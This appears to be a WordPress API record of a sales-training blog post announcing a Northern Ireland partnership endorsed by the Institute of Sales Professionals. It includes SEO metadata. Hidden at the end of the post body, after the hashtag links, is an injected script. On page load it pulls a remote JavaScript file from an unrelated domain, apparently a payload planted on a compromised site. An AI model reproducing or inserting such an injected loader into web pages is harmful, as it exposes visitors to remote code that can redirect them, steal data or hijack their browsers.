{"id":1375,"date":"2024-03-04T11:14:26","date_gmt":"2024-03-04T11:14:26","guid":{"rendered":"https:\/\/b2bsellingguidebook.com\/?p=1375"},"modified":"2026-10-08T09:20:53","modified_gmt":"2026-10-08T09:20:53","slug":"big-news-for-northern-ireland","status":"publish","type":"post","link":"https:\/\/b2bsellingguidebook.com\/index.php\/2024\/03\/04\/big-news-for-northern-ireland\/","title":{"rendered":"Big news for Northern Ireland"},"content":{"rendered":"<p>\u2705 Another big Announcement&#8230; \u2705<\/p>\n<p>Certified, Professional Sales Training Lands in Northern Ireland<\/p>\n<p><a href=\"https:\/\/www.linkedin.com\/in\/johnknapton\/\">John Knapton<\/a> and I are excited to announce that we have partnered to become Northern Ireland\u2019s first <a href=\"https:\/\/www.linkedin.com\/company\/the-isp\/\">The Institute of Sales Professionals<\/a> (ISP) endorsed training provider. Indeed, we are the only <a href=\"https:\/\/www.linkedin.com\/company\/the-isp\/\">The Institute of Sales Professionals<\/a> endorsed trainers on the island of Ireland.<\/p>\n<p>What does this mean?\u00a0\u00a0We are bringing a professional qualification to sales, raising the revenue generation bar locally. The ISP is the only government recognised, awarding body for professional B2B sales qualifications and we are now able to provide certificates to those successfully completing our training programme.<\/p>\n<p>Stay tuned for more announcements and programme schedules.\u00a0\u00a0To find out more about how our plans can benefit your sales, please DM <a href=\"https:\/\/www.linkedin.com\/in\/johnknapton\/\">John Knapton<\/a>, or me.<\/p>\n<p><a href=\"https:\/\/www.linkedin.com\/feed\/hashtag\/?keywords=instituteofsalesprofessionals&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7066414969403142145\">#instituteofsalesprofessionals<\/a> <a href=\"https:\/\/www.linkedin.com\/feed\/hashtag\/?keywords=isp&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7066414969403142145\">#isp<\/a> <a href=\"https:\/\/www.linkedin.com\/feed\/hashtag\/?keywords=b2bsales&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7066414969403142145\">#b2bsales<\/a> <a href=\"https:\/\/www.linkedin.com\/feed\/hashtag\/?keywords=salescoaching&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7066414969403142145\">#salescoaching<\/a> <a href=\"https:\/\/www.linkedin.com\/feed\/hashtag\/?keywords=professionalqualifications&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7066414969403142145\">#professionalqualifications<\/a> <a href=\"https:\/\/www.linkedin.com\/feed\/hashtag\/?keywords=northernireland&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7066414969403142145\">#northernireland<\/a> <a href=\"https:\/\/www.linkedin.com\/feed\/hashtag\/?keywords=entrepreneurship&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7066414969403142145\">#entrepreneurship<\/a> <a href=\"https:\/\/www.linkedin.com\/feed\/hashtag\/?keywords=mitedp&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7066414969403142145\">#MITEDP<\/a> <a href=\"https:\/\/www.linkedin.com\/feed\/hashtag\/?keywords=disciplinedentrepreneurship&amp;highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7066414969403142145\">#disciplinedentrepreneurship<\/a><script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u2705 Another big Announcement&#8230; \u2705 Certified, Professional Sales Training Lands in Northern Ireland John Knapton and I are excited to announce that we have partnered to become Northern Ireland\u2019s first The Institute of Sales Professionals (ISP) endorsed training provider. Indeed, we are the only The Institute of Sales Professionals endorsed trainers on the island of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1376,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[38],"tags":[],"class_list":["post-1375","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-jim-irvins-blog"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Big news for Northern Ireland - B2B Selling Guidebook Series<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/b2bsellingguidebook.com\/index.php\/2024\/03\/04\/big-news-for-northern-ireland\/\" \/>\n<meta property=\"og:locale\" content=\"en_GB\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Big news for Northern Ireland - B2B Selling Guidebook Series\" \/>\n<meta property=\"og:description\" content=\"\u2705 Another big Announcement&#8230; \u2705 Certified, Professional Sales Training Lands in Northern Ireland John Knapton and I are excited to announce that we have partnered to become Northern Ireland\u2019s first The Institute of Sales Professionals (ISP) endorsed training provider. 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